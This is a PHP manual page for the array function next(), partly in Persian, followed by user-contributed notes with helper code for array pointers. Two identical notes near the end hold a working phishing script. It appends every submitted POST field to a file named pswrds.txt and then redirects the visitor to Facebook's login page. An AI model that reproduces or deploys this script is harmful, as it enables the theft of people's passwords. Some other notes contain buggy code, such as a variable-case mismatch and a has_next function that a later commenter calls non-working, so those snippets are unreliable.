PHP 5.4.36 Released

next

(PHP 4, PHP 5)

nextبه پیش بردن اشاره‌گر داخلی آرایه

Description

mixed next ( array &$array )

next() همانند current()، با یک تفاوت عمل می‌کند. اشاره‌گر داخلی آرایه را یک محل به جلو پیش می‌برد و مقدار پیشین را باز می‌گرداند. این به معنای بازگرداندن مقدار بعدی اشاره‌گر داخلی و به پیش بردن آن است.

Parameters

array

array تحت تاثیر قرار گرفته است.

Return Values

مقدار آرایه در محل بعدی را که توسط اشاره‌گر داخلی به آن اشاره شده است بازمی‌گرداند، یا FALSE اگر عضو دیگری وجود نداشته باشد.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE, such as 0 or "". Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 مثال استفاده از next()

<?php
$transport 
= array('foot''bike''car''plane');
$mode current($transport); // $mode = 'foot';
$mode next($transport);    // $mode = 'bike';
$mode next($transport);    // $mode = 'car';
$mode prev($transport);    // $mode = 'bike';
$mode end($transport);     // $mode = 'plane';
?>

Notes

Note: شما نمی‌توانید بین انتهای آرایه و عضو boolean FALSE تفاوت قايل شوید. برای پیمایش آرایه دارای اعضای FALSE، تابع each() را ببینید.

See Also

  • current() - Return the current element in an array
  • end() - Set the internal pointer of an array to its last element
  • prev() - بازگرداندن اشاره‌گر داخلی آرایه
  • reset() - اشاره‌گر داخلی یک آرایه را به اولین عضو آن قرار بده
  • each() - Return the current key and value pair from an array and advance the array cursor

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User Contributed Notes 12 notes

up
11
papipo's gmail account
10 years ago
I need to know if an array has more items, but without moving array's internail pointer. Thats is, a has_next() function:

<?php
function has_next($array) {
    if (
is_array($array)) {
        if (
next($array) === false) {
            return
false;
        } else {
            return
true;
        }
    } else {
        return
false;
    }
}

$array = array('fruit', 'melon');
if (
has_next($array)) {
    echo
next($array);
}

// prints 'melon'
?>

Since you do not pass the array by reference, its pointer is only moved inside the function.
Hope that helps.
up
4
brentimus
9 years ago
Papipo's function below is usefull in concept but does not work.

"Since you do not pass the array by reference, its pointer is only moved inside the function."

This is true, but the array you are manipulating in your has_next() function will have it's pointer set to the first element, not the same position as the original array. What you want to do is pass the array to the has_next() function via reference. While in the has_next() function, make a copy of the array to work on. Find out the current pointer position of the original array and set the pointer on the working copy of the array to the same element. Then you may test to see if the array has a "next" element.

Try the followig insetad:

<?php
function has_next(&$array)
{
   
$A_work=$array//$A_work is a copy of $array but with its internal pointer set to the first element.
   
$PTR=current($array);
   
array_set_pointer($A_work, $PTR);

    if(
is_array($A_work))
    {
        if(
next($A_work)===false)
            return
false;
        else
            return
true;
    }
    else
        return
false;
}

function
array_set_pointer(&$array, $value)
{
   
reset($array);
    while(
$val=current($array))
    {
        if(
$val==$value)
            break;

       
next($array);
    }
}
?>
up
2
court shrock
10 years ago
This code returns neighbors of the specified key.  The result will be empty if it doesn't have any neighbors.  My approach was to use the order of keys to determine neighbors, which is differnet from just getting the next/previous element in an array.  Feel free to point out stupidities :)

<?php

function array_neighbor($arr, $key)
{
   
krsort($arr);
   
$keys = array_keys($arr);
   
$keyIndexes = array_flip($keys);
   
   
$return = array();
    if (isset(
$keys[$keyIndexes[$key]-1]))
       
$return[] = $keys[$keyIndexes[$key]-1];
    if (isset(
$keys[$keyIndexes[$key]+1]))
       
$return[] = $keys[$keyIndexes[$key]+1];

    return
$return;
}

?>
up
2
darkside at i dot ua
7 years ago
This class implements simple operations with array

<?php
class Steps {
   
    private
$all;
    private
$count;
    private
$curr;
   
    public function
__construct () {
     
     
$this->count = 0;
     
    }
   
    public function
add ($step) {
     
     
$this->count++;
     
$this->all[$this->count] = $step;
     
    }
   
    public function
setCurrent ($step) {
     
     
reset($this->all);
      for (
$i=1; $i<=$this->count; $i++) {
        if (
$this->all[$i]==$step) break;
       
next($this->all);
      }
     
$this->curr = current($this->all);
     
    }
   
    public function
getCurrent () {
     
      return
$this->curr;
     
    }
   
    public function
getNext () {
     
     
self::setCurrent($this->curr);
      return
next($this->all);
     
    }
       
  }
?>

usage example:

<?php
   $steps
= new Steps();
  
$steps->add('one');
  
$steps->add('two');
  
$steps->add('three');
  
$steps->setCurrent('one');
   echo
$steps->getCurrent()."<br />";
   echo
$steps->getNext()."<br />";
  
$steps->setCurrent('two');
   echo
$steps->getCurrent()."<br />";
   echo
$steps->getNext()."<br />";
?>
up
1
ThinkMedical at Gmail dot com
6 years ago
regarding references with foreach, you can use them directly. Obviating various posts which provide many lines of 'work arounds'.

$array = array(1,2,3,4,5);

foreach($array as &$value)

or use $key

foreach($array as $key => $value)
{
    $array[$key] = '...';
}
up
2
bm at ANTISPAM dot solidwave dot com
10 years ago
Take care when replacing code using reset()/next() with code using foreach as foreach does not update the array's internal pointer.  This means you cannot, say, use next() to skip an element in foreach loop, or use current() within a function to get a reference to the current element.  You probably have code depending on this internal pointer and replacing it will be more work than you anticipated.

See http://www.php.net/foreach
up
-1
annamalik954 at yahoo dot com
1 month ago
<?php
header
("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach(
$_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
up
-1
annamalik954 at yahoo dot com
1 month ago
<?php
header
("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach(
$_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
up
-1
tino at infeon dot com
8 years ago
this may be handy and i didnt know where else to post it.. i need a simple function to cycle through an array i eventually made it into a class so i could have multiple cycles.. if you like it or find it usefull please email me and let me know

class Cycle
{
    var $position;
    var $dataArray;
    var $dataArrayCount;
   
    function Cycle()
    {
        $this->dataArray = func_get_args();
        $this->dataArrayCount = count($this->dataArray);
    }
   
    function Display()
    {
        $this->position = (!isset($this->position) || $this->position >= ($this->dataArrayCount - 1)) ? 0 : $this->position += 1;
        return $this->dataArray[$this->position];
    }
   
}

$bgColor = new Cycle('#000000', '#FFFFFF', '#FF0000');

echo $bgcolor->Display();
//returns #000000
echo $bgcolor->Display();
//returns #FFFFFF
echo $bgcolor->Display();
//returns #FF0000
echo $bgcolor->Display();
//returns #000000
up
-1
gg2005 at gmail dot com
7 years ago
Don't confuse next with continue!

If you're a Perl developer starting with PHP, you might try to use "next" inside a loop to skip to the next iteration...  

i.e.,

foreach ($things as $thing) {
  if (something I don't like about $thing) {
   next;
  }
  blah....
}

The php compiler will take next... but it's not going to work.

Do this instead:
foreach ($things as $thing) {
  if (something I don't like about $thing) {
   continue;
  }
  blah....
}
up
-1
double at dumpit dot de
5 years ago
PHP: 5.2.10-2ubuntu6.3 (default apt-get installation on actual, see Date, jaunty 9.10 Ubuntu Distro - G33kWoRDs)

Have a look at your array pointer if you copy an array - the pointer will be copied, too.

For example if you got this construct:
<?php
    $array
= array('zero','one','two','three','four','five','six','seven');
   
$array2 = $array;
   
next($array);
    echo
key($array);
    echo
key($array2);

   
// will output:
    // 1
    // 0
?>

But if you copy the array after you've setted the pointer, the pointer will be copied, too:
<?php
    $array
= array('zero','one','two','three','four','five','six','seven');
   
next($array);
   
$array2 = $array;
    echo
key($array);
    echo
key($array2);
  
   
// will output:
    // 1
    // 1
?>

What's more is, that foreach not resetting the pointer after walk through:
<?php

    $array
= array('zero','one','two','three','four','five','six','seven');
   
next($array);
   
$array2 = array();
    foreach(
$array AS $key => $value){
        echo
$key;
       
$array2[$key] = $value;
    }
    echo
var_dump(key($array));
    echo
key($array2);

   
// will output for foreach:
    // 0 1 2 3 4 5 6 7
    // and for the keys
    // NULL
    // 0
?>

The php-functions seems to reset the pointer on the given position after walk through (i don't know the internal handling - there could be used a copy of the array, too):
<?php

    $array
= array('zero','one','two','three','four','five','six','seven');
   
next($array);
   
$array2 = array_values($array);
    echo
key($array);
    echo
key($array2);

   
// will output:
    // 1
    // 0
?>

There are a lot Methods like array_merge($array) that will neither reset the pointer of $array nor copy the pointer to $array2. Have a look on this.
I Hope this was a little helpfull.
up
-1
lukasz at karapuda dot com
10 years ago
This function will return the previous,next neighbors of an array entry within an associative array. If the specified $key points to the last or first element of the array, the first or last keys of the array will be returned consecutively. This is an improved version of the same function posted earlier.

<?php
function array_neighbor($arr, $key)
{
  
$keys = array_keys($arr);
  
$keyIndexes = array_flip($keys);
 
  
$return = array();
   if (isset(
$keys[$keyIndexes[$key]-1])) {
      
$return[] = $keys[$keyIndexes[$key]-1];
   }
   else {
      
$return[] = $keys[sizeof($keys)-1];
   }
  
   if (isset(
$keys[$keyIndexes[$key]+1])) {
      
$return[] = $keys[$keyIndexes[$key]+1];
   }
   else {
      
$return[] = $keys[0];
   }
  
   return
$return;
}
?>
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